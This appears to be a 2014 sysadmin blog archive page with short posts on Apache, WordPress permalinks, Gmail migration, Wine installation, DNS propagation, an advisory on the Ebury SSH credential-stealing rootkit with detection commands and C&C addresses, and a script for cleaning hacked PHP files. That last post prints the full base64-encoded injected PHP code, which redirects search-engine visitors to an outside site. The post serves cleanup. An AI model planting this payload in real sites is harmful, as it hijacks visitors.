Wednesday, 12 March 2014

Apache error : Error retrieving pid file logs/httpd.pid

Unable to start Apache service on cPanel server.



If you are getting the following error while trying to restart the Apache service.



-------------------------
-bash-3.2# /etc/init.d/httpd start
(20014)Internal error: Error retrieving pid file logs/httpd.pid
Remove it before continuing if it is corrupted.
-------------------------



Solution :-



-bash-3.2# mv /usr/local/apache/logs/httpd.pid /usr/local/apache/logs/httpd.pid.bk
-bash-3.2# /etc/init.d/httpd restart
httpd not running, trying to start



Be sure that the apache service is running :



# /etc/init.d/httpd status

Beware of Linux SSHD rootkit to steal SSH credentials in server

[2014-01-08] Information about an updated version of the SSHD rootkit called Ebury added.



Since the end of Feb 2013, some server administrator found the SSHD rootkit infection on RPM based Linux server in the wild. German CERT team   discovered that 38 IP addresses in HK had connected to one of this rootkit’s command and control server (C&C) and these Linux servers might have been   infected by a SSHD rootkit. HKCERT received their report and informed to the owners of affected server to check and clean up their servers.



 SSHD Rookit



SSH is the major tool on Linux for remote administration and it is a critical security risk if this application is compromised. This SSHD rootkit is not caused by SSH vulnerability and the initial attack vector is still unknown. The rootkit must be installed on a root compromised server and it replaces the legitimate keyutils library with a trojanized library (i.e. rootkit file). The rootkit links with SSHD daemon to collect credentials of authenticated SSH users and may not leave any trail on audit log.



 Besides, the rootkit implements a DGA (Domain Generation Algorithm) which creates the random looking domain names in the .biz, .info and .net top level domains (in this order) and send a DNS packet containing collected credentials to the target domains which are generated by the rootkit in daily. If the domains are not yet registered by the attacker, the DNS packet is sent to the hard-coded IP address “78.47.139.110” or "72.156.139.154".



https://www.hkcert.org/image/image_gallery?uuid=b6c9d0a2-d747-4fde-b82e-1d04449cc58b&groupId=16&t=1363081800304



What is the impact of infected servers?



The infected servers may have the following impact:


  • Steal user credentials on system

  • Steal SSH private keys for outgoing SSH connections

  • As a backdoor to access at any time

  • Used for sending spam



How to check if your Linux server is infected?



[2014-01-08] According to CERT-Bund, an updated version of the rootkit called Ebury was discovered, and following is the detection method:


  1. Ebury uses shared memory segments (SHMs) for interprocess communication. To show a list of currently existing SHMs, run the command 'ipcs -m' as root.

  2. If the output shows one or more large segments (at least 3 MB) with full permissions (666), the system is most likely infected with Ebury. Sample output: ------ Shared Memory Segments --------
    key shmid owner perms bytes nattch
    0x000006e0 32763 root 666 3018428 0
    0x00000469 65538 apache 666 4313584 0

    0x0000047a 131072 smmsp 666 3966496 0


    Please note that Ebury often changes the ownership of segments to arbitrary users existing on the system (like 'apache') to make the segments look legit.



[For older version of SSHD rootkit] The following checking can help you to verify if your Linux server is infected.


  • Locate the network activity issued by the trojanized keyutils library



Check the output of following command (in one line):


#find /lib* -name libkeyutils* -exec strings {} ; | egrep 'connect|socket|inet_ntoa|gethostbyname'


If there is any output, your server is infected.
If there is no output, proceed to next step.


  • Check the file integrity of keyutils library



Check the output of the following command:




#rpm -Vv keyutils-libs


If you see output similar the list below, it means that the package is infected:





........    /lib/libkeyutils-1.2.so
S.5..... /lib/libkeyutils.so.1
........ /usr/share/doc/keyutils-libs-1.2
........ d /usr/share/doc/keyutils-libs-1.2/LICENCE.LGPL




If the server is not infected, you should only see dots in left column:





........    /lib64/libkeyutils-1.2.so
........ /lib64/libkeyutils.so.1
........ /usr/share/doc/keyutils-libs-1.2
........ d /usr/share/doc/keyutils-libs-1.2/LICENCE.LGPL




 

Solution



If your server is infected


  1. We strongly recommend you to reinstall the OS of infected server to avoid any unknown security risk. Due to the attack vector is still unknown, please do the following action to avoid re-infection.

    1. Perform the above checking regularly

    2. Keep monitor the latest patch or security issue relating to this rootkit



  2. However, if you are not able to perform re-installation, please fix the following items under no network connection environment.

    1. Re-install libkeyutils (using rpm --replacepkg option) and reboot the server.

    2. Perform the above checking to ensure that the libkeyutils is replaced by a clean one

    3. Change the password of all SSH user account.



Tuesday, 11 March 2014

WordPress SEO Friendly URL Structure

WordPress URL Structure by default is not the most Search Engine Friendly, and it is also not very user friendly. In this tutorial we will show you how to make SEO Friendly URL Structure for WordPress that are also user friendly. If you see us use Permalink structure instead of URL structure, you should know that they are synonymous.



Why SEO Friendly URL Structure



When you have a SEO friendly structure, you are increasing your chances of ranking higher in search engines such as Google and others. Which by default are the largest source of new visitors to any website. In our experience with SEO, we have seen that Google gives extra weight to the URL structure therefore it is recommended that you follow this tutorial.
Begin Process



By default WordPress URL Structure looks a bit more robotic because it is not user friendly at all let alone not being SEO friendly.



http://wplinuxeasy.com/?p=45



Above is an example of what a default WordPress URL structure looks like. The goal of making the URL structure more friendly is that your users should know before reading the article what it is about by just looking at the URL. The same goal is to be accomplished for Search Engines as well.



Settings / Permalink Option in WordPress



First you need to open the Permalink Option Page which you can find in your WordPress Admin Panel if you click on the Setting Tabs and then go to Permalink. There you should see something which looks familiar to the image above.



You would need to click on the fifth option which says Custom Structure.



Step 2: Pick Your Structure from Documentation



There are many ways a URL can be organized. WordPress gives a few options which you can see at two, three, and four. But those are not the best option in our opinion.



We recommend the URL Structure of



/%category%/%postname%/


or if someone wants a completely static site, then they can use the version below.



/%category%/%postname%.html


By using that documentation your URL structure will be keyword rich as it will contain the keyword of the category and the title. Like the one below:



http://www.wpbeginner.com/wp-tutorials/how-to-install-WordPress-on-your-site/


Now while we recommend the options above there are multiple other ways you can organize your URLs. We have seen many different options in use. To know the possible URL Structure combination, you will need to learn a few documentation tags.



%year% – The year of the post, four digits, for example 2004



%monthnum% – Month of the year, for example 05



%day% – Day of the month, for example 28



%hour% – Hour of the day, for example 15



%minute% – Minute of the hour, for example 43



%second% – Second of the minute, for example 33



%postname% – A sanitized version of the title of the post (post slug field on Edit Post/Page panel). So This Is A Great Post! becomes this-is-a-great-post in the URL.



%post_id% – The unique ID # of the post, for example 423



%category% – A sanitized version of the category name (category slug field on New/Edit Category panel). Nested sub-categories appear as nested directories in the URI.



%author% – A sanitized version of the author name.



More information about the tags can be found in WordPress Codex for Permalinks.



Once you have selected the combination, paste it in the field and click “Save Changes”



Your .htaccess file will automatically be updated, and your URL will be changed. We suggest that you do this towards the start of your website, so you don’t have to go through the process of re-indexing in search engine.



Good Luck with Ranking High in Search Engines.

Move Email from one Gmail Account to Another

Here are a few different methods out there to move Gmail from one account to another and I’ve tried most.



The problem is that they all have some sort of requirement that makes them work for some people, but not all. Or maybe they get the email, but miss the labels. None seemed to work for everyone, all the time.



The good news is I found a way that should work for everyone using Mozilla’s Thunderbird.



To get started, download and install Thunderbird. It works on Mac, Window and Linux so everyone can take part.



Next, make sure IMAP is enabled in both of the Gmail accounts you’re working with. It doesn’t matter if they are free Gmail accounts or Gmail that’s tied to a domain name.



Once IMAP is activated, setup both accounts in Thunderbird and let Thunderbird fully download all the email in your current Gmail account. This could take some time depending on how much email you have.



After all your email has been downloaded, you can drag and drop your folders from one account to the other. Thunderbird will then copy the folders (aka labels) and all the emails in them to your new account.



With the inbox, sent, deleted, all mail and drafts, you’ll need to select all the emails in those folders, right-click, and copy them into the new account’s inbox, sent, deleted, all mail or drafts folders. Drag and drop won’t work for these folders as they are special folders.



Again, depending on how much email you have, this could take a while. I usually start it and then walk away. It’ll do it’s thing and by the time I get back hopefully it’s done.



Once all the email is moved over, give Thunderbird some time to ensure that all changes get re-synced back up online. The easiest thing to do here is to log into the new account online and see if all your mail is there.



And that’s it. You’ve now moved all your email from one Gmail account to another.



With this method, it doesn’t matter if you’re on a Mac, Windows or Linux computer. It doesn’t matter if it’s a free Gmail account or a Google apps account. It doesn’t matter how many labels you have or how you organize your email. It just works, or at least it did for me.



Ohh and if you need to move your Gmail filters from one account to another, check out the labs section of Gmail and enable the ‘Filter import/export’ functionality.

Script - replace the hack code from all php files

We came across a situation  where we have to  replace  the   hack/eval code from many PHP  files and hence thought of writing a small shell script that will  remove the hack/eval code from  all the infected PHP  files .

And I came up with the below simple shell script and thought of sharing it here so that if anyone came across the same situation  then  he/she can use that script. - Raj

root@leserver[#]  vi  replacehack.sh


hacked='eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcGlvcG8uMjV1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));'

find -name *.php | xargs replace $hacked ""  --



You can  execute the   hackreplace.sh file  as

 root@leserver[#]  sh replacehack.sh

Sunday, 9 March 2014

How to Install Wine 1.6.2 Stable in RHEL, CentOS and Fedora

Wine is an open source and free application for Linux that enables users to run any windows based application on Unix/Linux like operating system. Wine team is keep releasing their versions in every two weeks.



Finally, the Wine team proudly announced the stable release of Wine 1.6.2 and made available for download in source and binary packages for various distributions such as Linux, Windows and Mac.



This release describes 25 months of development struggle and brings more than 10000 new individual changes.



The core feature in this stable release of Wine is the implementation of color management support reached to liblcms version 2. As well as fixed several bug fixes for the Windows games and tools such as: Resident Evil 2 Max Payne 2, Unreal Tournament GOTY, FEAR Combat, Age of Empires II, Windows Installer Cleanup, League of Legends, NVIDIA CUDA Toolkit v5.5, FL Studio, and a few other core changes.



For a complete summary of major changes, See the release notes of Wine 1.6.2 at http://www.winehq.org/announce/1.6.2



In this article we will guide you a simplest way to install latest release of Wine 1.6.2 version in RHEL 6.5/6.4/6.3/6.2/6.1/6/5.9/5.8/5.6, CentOS 6.5/6.4/6.3/6.2/6.1/6/5.9/5.8/5.6 and Fedora 20,19,18,17,16,15,14,13,12 using source code.


Installing Wine 1.6.2 in RHEL, CentOS and Fedora



Step 1: Installing Dependency Packages



We need to install ‘Development Tools‘ with some core development tools such gcc, flex, bison, debuggers etc. these software’s are must required to compile and build new packages, install them using YUM command.



# yum -y groupinstall 'Development Tools' # yum -y install libX11-devel freetype-devel


Step 2: Downloading Wine 1.6.2 Download the source file using Wget command under /tmp directory as a normal User.



$ cd /tmp $ wget http://citylan.dl.sourceforge.net/project/wine/Source/wine-1.6.2.tar.bz2


Step 3: Extracting Wine 1.6.2



Once the file is downloaded under /tmp directory, use the below commands to extract it.




$ tar -xvf wine-1.6.2.tar.bz2 -C /tmp/



Step 4: Installing Wine 1.6.2



It is recommended to compile and build Wine installer as a normal User. Run the following commands as normal user. (Note : The installer might take up-to 20-30 minutes and in the middle it will ask you to enter root password).



On 32-Bit Systems



$ cd wine-1.6.2/
$ ./tools/wineinstall



On 64-Bit Systems



$ cd wine-1.6.2/
$ ./configure --enable-win64
$ make
# make install



Once the installation completes run the “winecfg” configuration tool from KDE or GNOME desktop to see the supported configuration. If you don’t have any of the desktop, you can install it by using the below command as root user.




# yum groupinstall "X Window System" "GNOME Desktop Environment"
OR
# yum groupinstall "X Window System" "KDE (K Desktop Environment)"



Once the X Window System installed, run the command as normal user to see wine configuration.




$ winecfg



Winecfg Screen



Step 5: Running Wine 1.6.2



To run the Wine, you must specify the full path to the executable program. For example shown below.




$ wine notepad
$ wine notepad.exe
$ wine c:windowsnotepad.exe



Running Wine in KDE Wine is not perfect, because while using wine we see so many programs crashes. I think wine team will soon fix all bugs in their upcoming version and meanwhile do share your comments using our below form.

Friday, 7 March 2014

What is DNS propagation?

When you make a DNS change, it takes time for the changes to take effect. This is called DNS propagation. It is the time it takes for the domain DNS to refresh the cache on the network.